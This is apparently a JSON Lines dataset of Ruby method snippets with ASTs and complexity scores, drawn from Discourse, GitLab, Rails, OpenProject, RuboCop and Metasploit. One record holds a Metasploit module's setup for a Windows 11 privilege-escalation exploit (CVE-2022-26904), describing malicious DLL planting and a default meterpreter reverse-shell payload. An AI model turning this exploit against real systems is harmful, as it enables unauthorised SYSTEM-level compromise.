{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":160,"raw_source":"def moderator?\n    !!(object&.user&.moderator?)\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"moderator?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"moderator?\"]}]},\"!\"]},\"!\"]}]}","id":"7da0d658-006f-4b35-ad71-3788d99c8b3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/helpers.rb","start_line":212,"raw_source":"def processes\n      @processes ||= Sidekiq::ProcessSet.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"processes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"ProcessSet\"]},\"new\"]}]}]}","id":"37875c92-4a3e-43fc-b23c-decf321b374e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/require_relative_self_path.rb","start_line":44,"raw_source":"def remove_ext(file_path)\n          File.basename(file_path, File.extname(file_path))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_ext\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}","id":"5448eabb-51d0-42a4-8c53-e27c60ea4d46"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/branches/diverging_commit_counts_service.rb","start_line":5,"raw_source":"def initialize(repository)\n      @repository = repository\n      @cache = Gitlab::RepositoryCache.new(repository)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RepositoryCache\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]}]}]}","id":"4d336784-3446-475d-95f7-4523e4b35c7c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2022_26904_superprofile.rb","start_line":19,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',\n          'Description' => %q{\n            The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability\n            in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of\n            the junctions it tries to link together.\n\n            Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a\n            UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\\SYSTEM user.\n\n            Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as\n            CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for\n            CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it\n            as CVE-2022-26904.\n\n            It is important to note that the credentials supplied for the second user to log in as in this exploit must be\n            those of a normal non-admin user and these credentials must also corralate with a user who has already logged in\n            at least once before. Additionally the current user running the exploit must have UAC set to the highest level,\n            aka \"Always Notify Me When\", in order for the code to be executed as NT AUTHORITY\\SYSTEM. Note however that\n            \"Always Notify Me When\" is the default UAC setting on common Windows installs, so this would only affect instances\n            where this setting has been changed either manually or as part of the installation process.\n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass\n            'Grant Willcox' # Metasploit module + Tweaks to PoC\n          ],\n          'Arch' => [ ARCH_X64 ],\n          'Platform' => 'win',\n          'SessionTypes' => [ 'meterpreter' ],\n          'Targets' => [\n            [ 'Windows 11', { 'Arch' => ARCH_X64 } ]\n          ],\n          'References' => [\n            ['CVE', '2022-26904'],\n            ['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but was taken down. This is a backup.\n            ['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original blog post\n            ['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug providing insight into patched functionality.\n          ],\n          'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.\n          'DefaultTarget' => 0,\n          'Notes' => {\n            'Stability' => [ CRASH_SAFE, ],\n            'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.\n            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]\n          },\n          'DefaultOptions' => {\n            'EXITFUNC' => 'thread',\n            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n            'WfsDelay' => 300\n          },\n          'AKA' => [ 'SuperProfile' ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!']),\n      OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),\n      OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])\n    ])\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"User Profile Arbitrary Junction Creation Local Privilege Elevation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"            in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of\\n\"]},{\"type\":\"str\",\"children\":[\"            the junctions it tries to link together.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a\\n\"]},{\"type\":\"str\",\"children\":[\"            UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\\\\SYSTEM user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as\\n\"]},{\"type\":\"str\",\"children\":[\"            CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for\\n\"]},{\"type\":\"str\",\"children\":[\"            CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it\\n\"]},{\"type\":\"str\",\"children\":[\"            as CVE-2022-26904.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            It is important to note that the credentials supplied for the second user to log in as in this exploit must be\\n\"]},{\"type\":\"str\",\"children\":[\"            those of a normal non-admin user and these credentials must also corralate with a user who has already logged in\\n\"]},{\"type\":\"str\",\"children\":[\"            at least once before. Additionally the current user running the exploit must have UAC set to the highest level,\\n\"]},{\"type\":\"str\",\"children\":[\"            aka \\\"Always Notify Me When\\\", in order for the code to be executed as NT AUTHORITY\\\\SYSTEM. Note however that\\n\"]},{\"type\":\"str\",\"children\":[\"            \\\"Always Notify Me When\\\" is the default UAC setting on common Windows installs, so this would only affect instances\\n\"]},{\"type\":\"str\",\"children\":[\"            where this setting has been changed either manually or as part of the installation process.\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"KLINIX5\"]},{\"type\":\"str\",\"children\":[\"Grant Willcox\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 11\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-26904\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/rmusser01/SuperProfile\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-03-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]},{\"type\":\"const\",\"children\":[null,\"AUDIO_EFFECTS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[300]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SuperProfile\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGINUSER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGINDOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Domain that the LOGINUSER belongs to. Ensures we log into the right domain.\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGINPASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the secondary normal privileged user to log in as\"]}]}]}]}]}]}]}","id":"d97817c0-8175-45b0-a3f7-96119922edae"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/time_entries/activity_form.rb","start_line":66,"raw_source":"def activities\n      return [] if project.blank?\n\n      TimeEntryActivity.active_in_project(project)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"activities\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeEntryActivity\"]},\"active_in_project\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"f9f317b1-0c25-481b-9ee9-eae1873882e2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/sharing_mailer.rb","start_line":58,"raw_source":"def optionally_activated_url(back_url, invitation_token)\n    return back_url unless invitation_token\n\n    url_for(controller: \"/account\",\n            action: :activate,\n            token: invitation_token.value,\n            back_url:)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"optionally_activated_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"back_url\"]},{\"type\":\"arg\",\"children\":[\"invitation_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invitation_token\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"back_url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"activate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invitation_token\"]},\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"back_url\"]},{\"type\":\"lvar\",\"children\":[\"back_url\"]}]}]}]}]}]}","id":"040fb3b8-ce29-4adb-b1e4-7ca727fb178f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/backup_job.rb","start_line":213,"raw_source":"def attachments_to_include\n    return Attachment.none if skip_attachments?\n\n    Backup.attachments_query\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attachments_to_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_attachments?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"none\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Backup\"]},\"attachments_query\"]}]}]}","id":"4bacfd8c-e56d-40fd-ab86-74854db967f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb","start_line":472,"raw_source":"def cmd_sync_word(*args)\n    self.idx ||= 0\n    word = -1\n    opts = Rex::Parser::Arguments.new(\n      '-h' => [ false, 'Help Banner' ],\n      '-w' => [ true, 'Sync word (Integer)' ]\n    )\n    opts.parse(args) do |opt, _idx, val|\n      case opt\n      when '-h'\n        print_line(\"Usage: sync_word -w <int>\\n\")\n        print_line(opts.usage)\n        return\n      when '-w'\n        word = val.to_i\n      end\n    end\n    if word == -1\n      print_line(\"You must specify a sync word\")\n      return\n    end\n    r = client.rftransceiver.set_sync_word(idx, word)\n    print_success(r)\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_sync_word\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"idx\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"word\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-w\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Sync word (Integer)\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: sync_word -w <int>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-w\"]},{\"type\":\"lvasgn\",\"children\":[\"word\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"You must specify a sync word\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},\"set_sync_word\",{\"type\":\"send\",\"children\":[null,\"idx\"]},{\"type\":\"lvar\",\"children\":[\"word\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_success\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"1607492d-66cf-4fcf-92dd-c113bbb9d4e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/ci/pipeline_message_helpers.rb","start_line":5,"raw_source":"def sanitize_message(message)\n      ActionController::Base.helpers.sanitize(message, tags: [])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"sanitize\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"2604c42f-4943-4668-8830-cd83b1ce3e96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":673,"raw_source":"def distinct_tags_count\n      Ci::BuildTag.in_partition(self).where(build: builds).count('distinct(tag_id)')\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"distinct_tags_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"BuildTag\"]},\"in_partition\",{\"type\":\"self\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build\"]},{\"type\":\"send\",\"children\":[null,\"builds\"]}]}]}]},\"count\",{\"type\":\"str\",\"children\":[\"distinct(tag_id)\"]}]}]}","id":"8829ac76-5090-44d5-a3ed-6cfd1a737d91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":164,"raw_source":"def publish_event(work_item, old_associations)\n      event = WorkItems::WorkItemUpdatedEvent.new(data: {\n        id: work_item.id,\n        namespace_id: work_item.namespace_id,\n        previous_work_item_parent_id: old_associations[:work_item_parent_id],\n        updated_attributes: work_item.previous_changes&.keys&.map(&:to_s),\n        updated_widgets: @widget_params&.compact_blank&.keys&.map(&:to_s)\n      }.tap(&:compact_blank!))\n\n      work_item.run_after_commit_or_now do\n        Gitlab::EventStore.publish(event)\n      end\n    end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]},{\"type\":\"arg\",\"children\":[\"old_associations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"WorkItemUpdatedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_work_item_parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_associations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item_parent_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_attributes\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"previous_changes\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_widgets\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@widget_params\"]},\"compact_blank\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"compact_blank!\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}","id":"6a13fba9-f5ef-4d65-b602-552c5a0a8bdc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/ai_usage.rb","start_line":55,"raw_source":"def has_summary_data?\n        page.has_css?(\".ai-usage__summary .d-stat-tiles\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_summary_data?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".ai-usage__summary .d-stat-tiles\"]}]}]}","id":"ef63230c-9f24-431b-9738-26f7c56276be"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":225,"raw_source":"def test_pluck_with_subquery_in_from_uses_original_table_name\n    relation = Comment.joins(:post).order(:id)\n    subquery = Comment.from(Comment.all, Comment.quoted_table_name).joins(:post).order(:id)\n    assert_equal relation.pluck(:id), subquery.pluck(:id)\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pluck_with_subquery_in_from_uses_original_table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"quoted_table_name\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subquery\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"04ff0498-6b1a-4da2-b714-73499602e988"}
